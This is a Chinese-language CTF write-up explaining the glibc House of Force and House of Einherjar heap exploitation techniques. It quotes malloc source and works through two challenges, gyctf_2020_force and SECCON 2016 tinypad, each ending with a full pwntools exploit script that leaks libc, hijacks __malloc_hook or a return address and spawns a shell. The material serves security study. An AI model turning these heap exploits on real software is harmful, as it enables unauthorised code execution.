<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    針對top chunk的一些特殊攻擊手法

    VSole2023-07-07 09:36:06

    house of force 主要利用 top chunk 的漏洞

    通過修改topchunk_size來進行攻擊

    利用 top chunk 分割的漏洞來申請任意 chunk,

    然后再劫持 hook 或者更改 got表

    top chunk的分割機制和利用方法

    victim = av->top; /* 獲取addr of top chunk */
    size   = chunksize(victim); /* 獲取top chunk size */
    if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
    {
        remainder_size = size - nb; /* 計算剩下的size */
        remainder      = chunk_at_offset(victim, nb); 
        av->top        = remainder; /* 修改top chunk */
        set_head(victim, nb | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0)); /* 設置top chunk的頭 */
        set_head(remainder, remainder_size | PREV_INUSE); /* 設置剩下chunk的頭 */
        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }
    

    只有

    top chunk 的 size 大于等于申請的 size,才會有后續操作

    top chunk大小檢查時用的數據類型是 unsigned long,如果能通過一些漏洞(比如堆溢出)將 top chunk 的 size

    字段篡改成 -1 或者 0xffffffffffffffff,那么在做這個檢查時,size

    就變成了無符號整數中最大的值,這樣一來,不管用戶申請多大的堆空間都可以滿足條件,此外,雖然此處的檢查中,用戶申請的大小也被當做無符號整型對待,但是在后面擴展

    top chunk 的時候是作為 int 對待的

    利用條件

    用戶能夠篡改 top chunk 的 size 字段(篡改為負數或很大值)

    用戶可以申請任意大小的堆內存(包括負數)

    libc-2.23

    /* Try to use top chunk */
      /* Require that there be a remainder, ensuring top always exists  */
      if ( (remainder_size = chunksize(top(ar_ptr)) - nb) < (long)MINSIZE)
      {
        /* If the request is big and there are not yet too many regions,
           and we would otherwise need to extend, try to use mmap instead.  */
        if ((unsigned long)nb >= (unsigned long)mmap_threshold &&
            n_mmaps < n_mmaps_max &&
            (victim = mmap_chunk(nb)) != 0)
          return victim;
          /* 如果申請字節超過“topchunk->size”,調用mmap_chunk */
        /* Try to extend */
        malloc_extend_top(ar_ptr, nb);
        if ((remainder_size = chunksize(top(ar_ptr)) - nb) < (long)MINSIZE)
        {
          /* A last attempt: when we are out of address space in a
             non-main arena, try mmap anyway, as long as it is allowed at
             all.  */
          if (ar_ptr != &main_arena &&
              n_mmaps_max > 0 &&
              (victim = mmap_chunk(nb)) != 0)
            return victim;
            /* 如果,第一次調用mmap_chunk沒有成功,則再調用一次 */
          return 0; /* propagate failure */
        }
      }
      victim = top(ar_ptr);
      set_head(victim, nb | PREV_INUSE); /* 設置top chunk的頭 */
      top(ar_ptr) = chunk_at_offset(victim, nb);
      set_head(top(ar_ptr), remainder_size | PREV_INUSE); /* 設置剩下chunk的頭 */
      check_malloced_chunk(ar_ptr, victim, nb); /* 這個檢查幾乎沒有影響 */
      return victim;
    

    通過“topchunk->size”判斷是否調用“mmap_chunk”

    完全可以打 House Of Force

    libc-2.27

    if (av != &main_arena)
        {
          heap_info *old_heap, *heap;
          size_t old_heap_size;
          /* First try to extend the current heap. */
          old_heap = heap_for_ptr (old_top);
          old_heap_size = old_heap->size;
          if ((long) (MINSIZE + nb - old_size) > 0 
              /* top chunk不夠用,grow_heap擴展top chunk的空間 */
              /* 要打House Of Force,這個if一定不成立(old_size非常大) */
              && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
            {
              av->system_mem += old_heap->size - old_heap_size;
              set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                        | PREV_INUSE);
            }
          else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
            { 
              /* Use a newly allocated heap.  */
              heap->ar_ptr = av;
              heap->prev = old_heap;
              av->system_mem += heap->size;
              /* Set up the new top.  */
              top (av) = chunk_at_offset (heap, sizeof (*heap));
              set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
              /* Setup fencepost and free the old top chunk with a multiple of
                 MALLOC_ALIGNMENT in size. */
              /* The fencepost takes at least MINSIZE bytes, because it might
                 become the top chunk again later.  Note that a footer is set
                 up, too, although the chunk is marked in use. */
              old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
              set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
              if (old_size >= MINSIZE) /* 需要分割 */
                {
                  set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
                  set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
                  set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
                  _int_free (av, old_top, 1);
                }
              else /* 不需要分割 */
                {
                  set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
                  set_foot (old_top, (old_size + 2 * SIZE_SZ));
                }
            }
          else if (!tried_mmap)
            /* We can at least try to use to mmap memory.  */
            goto try_mmap;
        }
    ................
    

    程序復雜了不少,也多了許多檢查:

    static void
    do_check_chunk (mstate av, mchunkptr p)
    {
      unsigned long sz = chunksize (p);
      /* min and max possible addresses assuming contiguous allocation */
      char *max_address = (char *) (av->top) + chunksize (av->top);
      char *min_address = max_address - av->system_mem;
        /* 這里就是問題的關鍵 */
        /* 因為“topchunk->size”被設置得非常大,所以max_address和min_address也非常大 */
        /* 這個設置范圍的操作打死了House Of Force */
      if (!chunk_is_mmapped (p)) 
        {
          /* Has legal address ... */
          if (p != av->top)
            {
              if (contiguous (av))
                {
                  assert (((char *) p) >= min_address);
                  /* 因為min_address非常大,重新申請的chunk地址不可能大于它 */
                  assert (((char *) p + sz) <= ((char *) (av->top)));
                }
            }
          else 
            {
              /* top size is always at least MINSIZE */
              assert ((unsigned long) (sz) >= MINSIZE);
              /* top predecessor always marked inuse */
              assert (prev_inuse (p));
            }
        }
      else if (!DUMPED_MAIN_ARENA_CHUNK (p))
        {
          /* address is outside main heap  */
          if (contiguous (av) && av->top != initial_top (av))
            {
              assert (((char *) p) < min_address || ((char *) p) >= max_address);
            }
          /* chunk is page-aligned */
          assert (((prev_size (p) + sz) & (GLRO (dl_pagesize) - 1)) == 0);
          /* mem is aligned */
          assert (aligned_OK (chunk2mem (p)));
        }
    }
    

    House

    Of Force 只能在 libc-2.23 中生效,因為 libc-2.23

    會在檢查了“topchunk->size”后就進行分割,可以直接利用,而 libc-2.27

    設置了一個“范圍”,限制了申請chunk的地址范圍,這樣就導致 top chunk 無法分割到目標地址了

    Large bin 泄露 libc_base

    背景知識

    在glibc堆初始化時會一次劃出132KB的內存大小來供程序使用,也就是說我們提到tcache/fast/small/unsorted/large都是在這132KB(0x21000)基礎上產生的。那么如果直接malloc超過132KB大小的話。系統會調用mmap在libc附近分配內存,經過測試雖然大于132KB可以讓其分配在libc附近,但不達到一定大小,分配的內存地址和libc的偏移是不太確定的。這里借鑒了前輩的經驗,分配0x200000的內存可以讓偏移固定。

    #include 
    #include 
    int main()
    {
        malloc(0x1);  // init heap
        // 0x200000 == 2097152
        long long * ptr = malloc(2097152);
        printf("mmap addr is %p", ptr);
        return 0;
    }
    

    該內存塊剛好是貼著libc分配的,它和libc基地址的偏移正好是這塊內存區域的大小0x201000。gyctf_2020_forceida

    Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    void __fastcall __noreturn main(int a1, char **a2, char **a3)
    {
      __int64 v3; // rax
      char s[256]; // [rsp+10h] [rbp-110h] BYREF
      unsigned __int64 v5; // [rsp+118h] [rbp-8h]
      v5 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      memset(s, 255, sizeof(s));
      while ( 1 )
      {
        memset(s, 255, sizeof(s));
        puts("1:add");
        puts("2:puts");
        read(0, nptr, 0xFuLL);
        v3 = atol(nptr);
        if ( v3 == 1 )
        {
          add_chunk();
        }
        else if ( v3 == 2 )
        {
          fake_show();
        }
      }
    }
    unsigned __int64 add_chunk()
    {
      const void **i; // [rsp+0h] [rbp-120h]
      __int64 size; // [rsp+8h] [rbp-118h]
      char s[256]; // [rsp+10h] [rbp-110h] BYREF
      unsigned __int64 v4; // [rsp+118h] [rbp-8h]
      v4 = __readfsqword(0x28u);
      memset(s, 255, sizeof(s));
      for ( i = (const void **)&unk_202080; *i; ++i )
        ;
      if ( (char *)i - (char *)&unk_202080 > 39 )
        exit(0);
      puts("size");
      read(0, nptr, 0xFuLL);
      size = atol(nptr);
      *i = malloc(size);
      if ( !*i )
        exit(0);
      printf("bin addr %p", *i);
      puts("content");
      read(0, (void *)*i, 0x50uLL);    // 堆溢出
      puts("done");
      return __readfsqword(0x28u) ^ v4;
    }
    unsigned __int64 fake_show()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
      v1 = __readfsqword(0x28u);
      puts(&byte_D93);           //''
      return __readfsqword(0x28u) ^ v1;
    }
    

    思路

    這個程序對申請chunk的大小沒有要求,只有add函數

    所以這里先用mmap獲取libc_base,在打個house of force

    詳細流程

    首先程序申請完堆塊后就會把堆塊地址打印出來,所以這里直接用返回堆塊的地址

    def add(size,content):
        ru('2:puts')
        sl(str(1))
        ru('size')
        sl(str(size))
        ru('0x')
        data_ptr=int(p.recv(12),16)
        ru('content')
        s(content)
        return data_ptr
    libc_base=add(0x200000,'aaaa')+0x200ff0
    leak('libc_base',libc_base)
    

    直接利用mmap的固定偏移泄露出來libc_base,這里只是擴展了堆空間,并沒有申請chunk

    如果下一步正常申請的話,還是可以看到正常的top chunk的

    top_chunk_addr=add(0x10,'a'*0x10+b'/bin/sh\x00'+p64(0xffffffffffffffff))+0x10
    leak('top_chunk_addr',top_chunk_addr)
    

    這里寫入 /bin/sh\x00 是因為后面用og和realloc調不成功,所以用system打,這里因為有堆地址,直接申請堆地址就能執行system('/bin/sh\x00') [因為沒有對申請的size限制,所以可以這樣打]

    修改了top chunk 的 size

    下面為了好分析,還是關掉ASLR

    原本的top chunk地址加上實際上要分配的大小等于新的top chunk地址

    所以offset=fake_addr-0x10-0x10-top_chunk_addr

    offset=(malloc_hook-0x20)-top_chunk_addr

    申請一下對應偏移的chunk就可以把top_chunk擴展到fake_chunk了

    然后直接申請后打就行了

    add(offset,'kkk')
    add(0x10,p64(system))
    


    p.recvuntil("2:puts")
    p.sendline('1')
    p.recvuntil("size")
    p.sendline(str(top_chunk_addr))
    


    exp

    import os
    import sys
    import time
    from pwn import *
    from ctypes import *
    context.os = 'linux'
    context.log_level = "debug"
    s       = lambda data               :p.send(str(data))
    sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
    sl      = lambda data               :p.sendline(str(data))
    sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
    r       = lambda num                :p.recv(num)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    itr     = lambda                    :p.interactive()
    uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
    l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
    context.terminal = ['gnome-terminal','-x','sh','-c']
    x64_32 = 1
    if x64_32:
        context.arch = 'amd64'
    else:
        context.arch = 'i386'
    p=process('./pwn')
    #p=remote('node4.buuoj.cn',29025)
    elf = ELF('./pwn')
    #libc=ELF('./libc-2.23.so')
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    def duan():
        gdb.attach(p)
        pause()
    def add(size,content):
        ru('2:puts')
        sl(str(1))
        ru('size')
        sl(str(size))
        ru('0x')
        data_ptr=int(p.recv(12),16)
        ru('content')
        s(content)
        return data_ptr
    libc_base=add(0x200000,'aaaa')+0x200ff0
    leak('libc_base',libc_base)
    top_chunk_addr=add(0x10,'a'*0x10+b'/bin/sh\x00'+p64(0xffffffffffffffff))+0x10
    leak('top_chunk_addr',top_chunk_addr)
    #duan()
    malloc_hook=libc.sym['__malloc_hook']+libc_base
    realloc = libc.sym["__libc_realloc"]
    system=libc.sym['system']+libc_base
    leak('malloc_hook',malloc_hook)
    offset=(malloc_hook-0x20)-top_chunk_addr
    leak('offset',offset)
    '''
    ogs = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    og=ogs[1]+libc_base
    leak('og',og)
    '''
    add(offset,'kkk')
    add(0x10,p64(system))
    #duan()
    p.recvuntil("2:puts")
    p.sendline('1')
    p.recvuntil("size")
    p.sendline(str(top_chunk_addr))
    #duan()
    itr()
    

    House Of Einherjar介紹

    house of einherjar 跟 house of force 差不多,最終目的都是控制 top chunk 的值

    只不過他是向后合并

    向后合并機制與利用方法

    libc-2.23

    if (!(hd & PREV_INUSE))                    /* consolidate backward */
    { 
      prevsz = p->prev_size; 
        /* 記錄相鄰堆塊p的prev_size值 */
      p = chunk_at_offset(p, -(long)prevsz); 
        /* 堆塊p的指針最后由chunk_at_offset()函數決定 */
        /* 將原本p指針位置加上s偏移后的位置作為合并堆塊的新指針(向上增加) */
      sz += prevsz; 
        /* size = size + prev_size */
      if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
        islr = 1;
      else
        unlink(p, bck, fwd);
        /* 檢查并脫鏈 */
    }
    

    后向合并中沒有多少檢查,但是unlink操作會先檢查

    “fakechunk->size” (必須可以通過 size 索引到“last chunk”,并且P位為“0”,這樣才會進行

    unlink),因為“fake_size”(offset)很大,fake chunk 會被當做是 large chunk ,所以還會格外檢查

    FD,BK,FDsize,BKsize

    為了實現chunkA后向合并到fake chunk 我們需要使得chunkA_addr - chunkA_prev_size =

    fakechunk_addr

    同時還需要使得fake_chunk的size域和chunkA的prev_size域相同

    并且還要注意一下fake chunk的fd域和bk域,這里需要都寫入fake chunk的地址

    2016_seccon_tinypad

    ida

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 v3; // rax
      int choice; // eax
      int v5; // eax
      __int64 v6; // rax
      unsigned __int64 v7; // rax
      int c; // [rsp+4h] [rbp-1Ch] BYREF
      int i; // [rsp+8h] [rbp-18h]
      int index; // [rsp+Ch] [rbp-14h]
      int v12; // [rsp+10h] [rbp-10h]
      int v13; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v14; // [rsp+18h] [rbp-8h]
      v14 = __readfsqword(0x28u);
      v12 = 0;
      write_n((__int64)&unk_4019F0, 1LL);
      write_n(
        (__int64)"  ============================================================================"
                 "http:// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\"
                 "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||"
                 "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||"
                 "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||"
                 "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //"
                 "  ============================================================================",
        563LL);
      write_n((__int64)&unk_4019F0, 1LL);
      do
      {
        for ( i = 0; i <= 3; ++i )    
        {
          LOBYTE(c) = i + 49;
          writeln((__int64)"+------------------------------------------------------------------------------+", 81LL);
          write_n((__int64)" #   INDEX: ", 12LL);
          writeln((__int64)&c, 1LL);
          write_n((__int64)" # CONTENT: ", 12LL);
          if ( *(_QWORD *)&tinypad[16 * i + 264] )
          {
            v3 = strlen(*(const char **)&tinypad[16 * i + 264]);
            writeln(*(_QWORD *)&tinypad[16 * i + 264], v3);
          }
          writeln((__int64)&unk_4019F0, 1LL);
        }
        index = 0;
        choice = getcmd();
        v12 = choice;
        if ( choice == 'D' )                //delete
        {
          write_n((__int64)"(INDEX)>>> ", 11LL);
          index = read_int();
          if ( index <= 0 || index > 4 )   //index 范圍為:1.2.3
          {
    LABEL_29:
            writeln((__int64)"Invalid index", 13LL);
            continue;
          }
          if ( !*(_QWORD *)&tinypad[16 * index + 240] )
          {
    LABEL_31:
            writeln((__int64)"Not used", 8LL);
            continue;
          }
          free(*(void **)&tinypad[16 * index + 248]);     // UAF 
          *(_QWORD *)&tinypad[16 * index + 240] = 0LL;    // 置空了size,沒有置空指針
          writeln((__int64)"Deleted.", 9LL);
        }
        else if ( choice > 'D' )
        {
          if ( choice != 'E' )
          {
            if ( choice == 'Q' )
              continue;
    LABEL_41:
            writeln((__int64)"No such a command", 17LL);
            continue;
          }
          write_n((__int64)"(INDEX)>>> ", 11LL);   // edit  
          index = read_int();
          if ( index <= 0 || index > 4 )
            goto LABEL_29;
          if ( !*(_QWORD *)&tinypad[16 * index + 240] )
            goto LABEL_31;
          c = 48;
          strcpy(tinypad, *(const char **)&tinypad[16 * index + 248]);//把數據復制到chunk_list(tinypad)首位
          while ( toupper(c) != 'Y' )                                  // 只要不Y就可以一直修改
          {                                                           
            write_n((__int64)"CONTENT: ", 9LL);                        // 輸出數據,也許可以利用這里來leak
            v6 = strlen(tinypad);
            writeln((__int64)tinypad, v6);
            write_n((__int64)"(CONTENT)>>> ", 13LL);
            v7 = strlen(*(const char **)&tinypad[16 * index + 248]);
            read_until((__int64)tinypad, v7, 0xAu);
            writeln((__int64)"Is it OK?", 9LL);
            write_n((__int64)"(Y/n)>>> ", 9LL);
            read_until((__int64)&c, 1uLL, 0xAu);
          }
          strcpy(*(char **)&tinypad[16 * index + 248], tinypad);     // 復制回去
          writeln((__int64)"Edited.", 8LL);
        }
        else
        {
          if ( choice != 'A' )                      // add
            goto LABEL_41;
          while ( index <= 3 && *(_QWORD *)&tinypad[16 * index + 256] )
            ++index;
          if ( index == 4 )
          {
            writeln((__int64)"No space is left.", 17LL);
          }
          else
          {
            v13 = -1;
            write_n((__int64)"(SIZE)>>> ", 10LL);
            v13 = read_int();
            if ( v13 <= 0 )                  // size不能為負
            {
              v5 = 1;
            }
            else
            {
              v5 = v13;
              if ( (unsigned __int64)v13 > 0x100 )  // size不能超過0x100
                v5 = 256;
            }
            v13 = v5;
            *(_QWORD *)&tinypad[16 * index + 256] = v5;
            *(_QWORD *)&tinypad[16 * index + 264] = malloc(v13);
            if ( !*(_QWORD *)&tinypad[16 * index + 264] )
            {
              writerrln("[!] No memory is available.", 27LL);
              exit(-1);
            }
            write_n((__int64)"(CONTENT)>>> ", 13LL);
            read_until(*(_QWORD *)&tinypad[16 * index + 264], v13, 0xAu);  // 寫入內容 off by one
            writeln((__int64)"Added.", 7LL);
          }
        }
      }
      while ( v12 != 'Q' );      // quit
      return 0;
    }
    unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, int a3)
    {
      unsigned __int64 i; // [rsp+28h] [rbp-18h]
      __int64 n; // [rsp+30h] [rbp-10h]
      for ( i = 0LL; i < a2; ++i )
      {
        n = read_n(0LL, a1 + i, 1LL);
        if ( n < 0 )
          return -1LL;
        if ( !n || *(a1 + i) == a3 )
          break;
      }
      *(a1 + i) = 0;                                // off by one 經典的置空末尾“”,造成了 off-by-null
      if ( i == a2 && *(a2 - 1 + a1) != 10 )
        dummyinput(a3);
      return i;
    }
    

    修改模塊可以控制 chunk_list ( tinypad ) 這一大片區域,偽造 fake_size 綽綽有余

    最后一個chunk的“presize”直接作為相鄰上一個chunk的數據區,完全可以控制

    可以考慮打 House Of Einherjar

    詳細流程

    add(0xe0, "A"*0xe0)
    add(0xf0, "B"*0xf0)
    add(0x100, "C"*0x100)
    add(0x100, "D"*0x100)
    delete(3) //因為后面"chunk4->size"會被覆蓋低位,所以這里只能為0x100
    delete(1) //這里要先釋放后申請的chunk,不然程序不會打印(不知道原因)
    

    因為這個題目比較特殊,所以直接利用fd指針來泄露libc_base 和 heap_addr

    想接收這個數據,可以用

    1.p.recvuntil('')[:-1].ljust(8,'\x00')

    接收到 '' , 但是不算上 ''

    2.k&0x0000000000ffffff

    ru('INDEX: 1')
    ru('# CONTENT: ')
    k=u64(r(8))
    heap_addr=k&0x0000000000ffffff-0x1f0
    #heap_addr=u64(p.recvuntil('')[:-1].ljust(8,'\x00'))
    leak('heap_addr',heap_addr)
    ru('INDEX: 3')
    ru('# CONTENT: ')
    libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
    leak('libc_base',libc_base)
    chunk_list_addr=0x602040
    chunk2_addr=heap_addr+0xf0
    offset=chunk2_addr-chunk_list_addr
    leak('chunk_list_addr >> ',chunk_list_addr)
    leak('chunk2_addr >> ',chunk2_addr)
    leak('offset >> ',offset)
    

    add(0xe8, "g"*(0xe8-0x8) + p64(offset))
    

    改一下 chunk2 的pre_size


    delete(4)
    

    把三四合并,讓二緊鄰top chunk


    pl=p64(0x100)+p64(offset)
    pl+=p64(chunk_list_addr)*4
    edit(2, pl)
    

    然后再fake_chunk上設置 size 為 offset

    這里是直接寫過去了,題目特點,先寫到 0x602040 再 strcpy 過去,不過這個很容易就截斷,所以這個題目 edit 會讓人很迷


    delete(2)
    

    這里的pre_size和size已經對應了,然后直接delete(2) 把chunk的P位改為0,這樣就滿足了 House Of Einherjar 的條件

    gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
    gadget_addr = libc_base + gadget[3]
    payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
    payload += p64(0xe8) + p64(0x602148)
    add(0xe0, "t"*0xe0)
    add(0x100, payload)
    

    然后申請兩次chunk,在儲存chunk1_ptr的地方寫入

    'environ' (在 libc

    中有一個全局變量'environ',儲存著該程序環境變量的地址,而環境變量是儲存在棧上的,所以可以泄露棧地址,所以可以控制rip了)

    ,然后把chunk2_ptr 改成 chunk1_ptr 的地址 ,方便修改

    這里的chunk_ptr 前面的應該是size,直接寫一個數就行,這里沒有過多的檢查,我試了試兩個p64(0x100)也能打通

    p.readuntil("# CONTENT: ")
    stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    leak('environ',libc_base + libc.symbols["__environ"])
    success("env_stack address: " + hex(stack_env))
    

    這里寫入 '__environ' 函數然后根據題目特點把 棧地址泄露出來了

    計算一下偏移,得到 '__libc_start_main+240' 的地址,也就是程序的返回地址

    edit(2, p64(stack_env-240))
    edit(1, p64(gadget_addr))
    p.readuntil("(CMD)>>>")
    p.sendline("Q")
    

    然后修改 chunk_ptr1 為 '__libc_start_main+240'

    這樣編輯 chunk2 就能把 '__libc_start_main+240' 修改為 og了

    然后直接退出就getshell了

    exp

    import os
    import sys
    import time
    from pwn import *
    from ctypes import *
    context.os = 'linux'
    context.log_level = "debug"
    s       = lambda data               :p.send(str(data))
    sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
    sl      = lambda data               :p.sendline(str(data))
    sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
    r       = lambda num                :p.recv(num)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    itr     = lambda                    :p.interactive()
    uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
    l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
    context.terminal = ['gnome-terminal','-x','sh','-c']
    x64_32 = 1
    if x64_32:
        context.arch = 'amd64'
    else:
        context.arch = 'i386'
    p=process('./pwn')
    #p=remote('node4.buuoj.cn',29025)
    elf = ELF('./pwn')
    #libc=ELF('./libc-2.23.so')
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    def duan():
        gdb.attach(p)
        pause()
    def add(size,content):
        p.recvuntil('(CMD)>>> ')
        p.sendline('a')
        p.recvuntil('(SIZE)>>> ')
        p.sendline(str(size))
        p.recvuntil('(CONTENT)>>> ')
        p.sendline(content)
    def delete(index):
        p.recvuntil('(CMD)>>> ')
        p.sendline('d')
        p.recvuntil('(INDEX)>>> ')
        p.sendline(str(index))
    def edit(index,content):
        p.recvuntil('(CMD)>>> ')
        p.sendline('e')
        p.recvuntil('(INDEX)>>> ')
        p.sendline(str(index))
        p.recvuntil('CONTENT: ')
        p.recvuntil('(CONTENT)>>> ')
        p.sendline(content)
        p.recvuntil('(Y/n)>>> ')
        p.sendline('y')
    add(0xe0, "A"*0xe0)
    add(0xf0, "B"*0xf0)
    add(0x100, "C"*0x100)
    add(0x100, "D"*0x100)
    delete(3)
    delete(1)
    #duan()
    ru('INDEX: 1')
    ru('# CONTENT: ')
    k=u64(r(8))
    heap_addr=k&0x0000000000ffffff-0x1f0
    #heap_addr=u64(p.recvuntil('')[:-1].ljust(8,'\x00'))
    leak('heap_addr',heap_addr)
    ru('INDEX: 3')
    ru('# CONTENT: ')
    libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
    leak('libc_base',libc_base)
    chunk_list_addr=0x602040
    chunk2_addr=heap_addr+0xf0
    offset=chunk2_addr-chunk_list_addr
    leak('chunk_list_addr >> ',chunk_list_addr)
    leak('chunk2_addr >> ',chunk2_addr)
    leak('offset >> ',offset)
    add(0xe8, "g"*(0xe8-0x8) + p64(offset))
    delete(4)
    pl=p64(0x100)+p64(offset)
    pl+=p64(chunk_list_addr)*4
    edit(2, pl)
    delete(2)
    gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
    gadget_addr = libc_base + gadget[3]
    payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
    payload += p64(0xe8) + p64(0x602148)
    add(0xe0, "t"*0xe0)
    add(0x100, payload)
    p.readuntil("# CONTENT: ")
    stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    success("env_stack address: " + hex(stack_env))
    edit(2, p64(stack_env-240))
    edit(1, p64(gadget_addr))
    p.readuntil("(CMD)>>>")
    p.sendline("Q")
    itr()
    
    str函數main函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點頭暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制下,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    AFL源碼淺析
    2022-10-26 09:54:13
    前言AFL是一款著名的模糊測試的工具,最近在閱讀AFL源碼,記錄一下,方便以后查閱。編譯項目:將編譯的優化選項關閉,即改寫成-O01afl-gcc.c使用gdb加載afl-gcc,并使用set arg -o test test.c設置參數2find_as函數?find_as函數首先會通過AFL_PATH環境變量的值從而獲得AFL對應的路徑?若上述環境變量不存在則獲取當前afl-gcc所在的文件路徑?判斷該路徑下的as文件是否具有可執行權限u8?//函數用來判斷指定的文件或目錄是否有可執行權限,若指定方式有效則返回0,否則返回-1
    匯編語言是一種用于電子計算機、微處理器、微控制器或其他可編程器件的低級語言,亦稱為符號語言。Smali匯編基礎Smali語言最早是由JesusFreke發布在Google Code上的一個開源項目,并不是擁有官方標準的語言。因此也將Smali語言稱作Android虛擬機的反匯編語言。基本類型Smali基本數據類型中包含兩種類型,原始類型和引用類型。而在Smali中則是以LpackageName/objectName的形式表示對象類型。
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    通過文件搜索,可以定位到jhttpd。對于get請求則讓httpd_dowith_get函數去處理。了解了該程序的http服務大概的流程,接下來就是分析哪個請求的處理存在問題即可。
    切記ASLR功能一定要開!第一個puts提示了這題是house_of_storm。menue函數普通的菜單輸出,就不上圖了。add函數正常的堆分配,堆大小由用戶輸入,但是限制大小在0-0x410。
    這次的 PWNHUB 內部賽的兩道題目都不是常規題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的異或考察的則是通過逆向分析解密函數來構造棧溢出 ROP。兩道題目的考點都非常新穎,其中第一道題更是結合了 Web,值得大家復現學習。
    VMPWN的入門系列-1
    2023-07-27 09:45:00
    今天的文章有點長,圖片比較多,請耐心閱讀5.1 實驗一 VMPWN15.1.1 題目簡介這是一道基礎的VM相關題目,VMPWN的入門級別題目。
    linux跟蹤技術之ebpf
    2022-12-30 10:51:15
    eBPF是一項革命性的技術,起源于 Linux 內核,可以在操作系統內核等特權上下文中運行沙盒程序。它可以安全有效地擴展內核的功能,而無需更改內核源代碼或加載內核模塊。比如,使用ebpf可以追蹤任何內核導出函數的參數,返回值,以實現kernel hook 的效果;通過ebpf,還可以在網絡封包到達內核協議棧之前就進行處理,這可以實現流量控制,甚至隱蔽通信。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类